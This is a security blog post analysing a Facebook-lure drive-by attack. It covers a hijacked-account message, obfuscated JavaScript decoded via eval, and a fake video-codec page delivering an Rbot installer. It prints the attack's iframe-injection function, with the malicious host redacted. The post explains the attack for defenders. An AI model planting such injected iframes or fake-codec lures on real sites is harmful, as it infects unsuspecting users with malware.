Drive-by attacks, not just for the physical world

Drive-by attacks are a common way of infecting home PCs. I have mentioned them before but they are still just as popular as they were. There seem to be some changes in the approach though.

We used to routinely see attempts to infect PCs via remote code execution vulnerabilities in the browser – this was one of the holy grails for black hats. If you had one of those, you could have a “click and you are owned” scenario. The other holy grail was a remote code execution in a service that allowed anonymous exploitation – that is to say that a particular request could be made without needing to be sent from an authorised domain account This would enable a black hat to write a worm but I digress; we are talking about Drive-by attacks.

What I used to see often is that the page that was passed back to the browser in response to the GET request would be targeted at the version of the browser version and the vulnerabilities that were current or recently patched. Storm used to do this, even creating custom binaries on the fly. Now, there was a fancy malware for you. What I am seeing more and more is that drive-bys just rely on social engineering. Here is the anatomy of a particular attack:

The come on:

These vary but a fairly common form (and the one that I was looking at) is a message on facebook claiming that someone has pictures or a video of you. It seems to come from a friend but it is very nonspecific – well, it is a hijacked account and the method is to send many of these messages and expect a low success rate. Again, that is fine since none of this cost the black hats anything.
Typically, the link will go via Google (with a unique search string) or sometimes TinyURL. Most people see the start of the URL as going to a reasonable site and follow the link if they look at all. Many don’t; these are home users.

The initial page:

This will typically just be a page of Javascript. I have seen many dozens of variants but they generally look very similar. There is a large static array of values and then a bit of jscript that decodes the array into a string. The encryption is crude in every way. Typically the array will be ASCII values with a largish offset – say 605. It is easy for the black hat to choose a different offet which means that it is not practical for pattern recognition internet security packages to look for a given pattern of values. Also, there are more ways of phrasing the code than one so the pattern is trivial to change.
The string created is then pushed through the eval function.

The payload 1:

Here is the code that it executes:

function uybhutgyaalih(query){
var url = 'http://(malicious URL)/go.php?sid=4';
if (window.XMLHttpRequest){
var dx = '1500px';
document.getElementById('o').style.width=dx;
document.getElementById('o').height='5000px';
document.getElementById('o').innerHTML = '{iframe border=0 scrolling=no width=100% height=2800px src='+url+')(/iframe)';
}else if(window.ActiveXObject){
var dx = '1500px';
document.getElementById('o').style.width=dx;
document.getElementById('o').height='5000px';
document.getElementById('o').innerHTML = '(iframe border=0 scrolling=no width=100% height=2800px src='+url+')(/iframe)';
}else{};
}

Well, nothing too clever there. It takes you to another site via an iframe. Why an iFrame? Because no URL will be displayed. I have obscured the URL here but there are thousands of hosts out there. Many of them are listed here. Oh, and I replaced the angle brackets with round ones because they confused the blog spot editor.

The payload 2:

This is where the link in the iframe takes you. This is where you would expect all the cleverness to be. In this case, nothing at all clever. There was a web page with a video that was (in this case) audio only. Typically, there will be the sound track of something, often a porn film. I haven’t the expertise to identify the film from the sounds. Sorry. There was a bitmap shown over the video that said that there was a missing video codec and seemed to be a typical OK/cancel dialog for XP. In fact, the whole thing was a bitmap and clicking anywhere would download the EXE installer that would give you a nice fresh copy of an Rbot variant.

So, there was nothing at all odd or especially bright about this attack. It was a typical drive-by based on social engineering. Why do the gangs use such a simple approach? Well, that would be because it works just fine. Anything more would be an unnecessary expense.

Oh, I mentioned wormable vulnerabilities. What we saw in the past was rapidly spreading worms, typically malicious and without much of a payload although SDBot was an exception – it was actually a proper trojan client (bot) with multiple modes of operation though it was mostly used for SPAM. Anyway, traditionally worms would spread so aggressively that they would effectively form a denial of service on the network and stop their own spread. Even if they network stayed up, admins were alerted very rapidly because of the abnormal network load. We might see fast spreading worms again but I think that they will be from amateurs. I think that the professionals will go for low and slow next time. You really want to infect as much of the network as possible before detection – and I would expect the worm to install a proper multi-purpose bot, probably polymorphic to survive better – and possibly based on Storm’s peer to peer architecture to make it more robust.

Are there interesting times ahead? I suspect so.

Signing off

Mark Long, Digital Looking Glass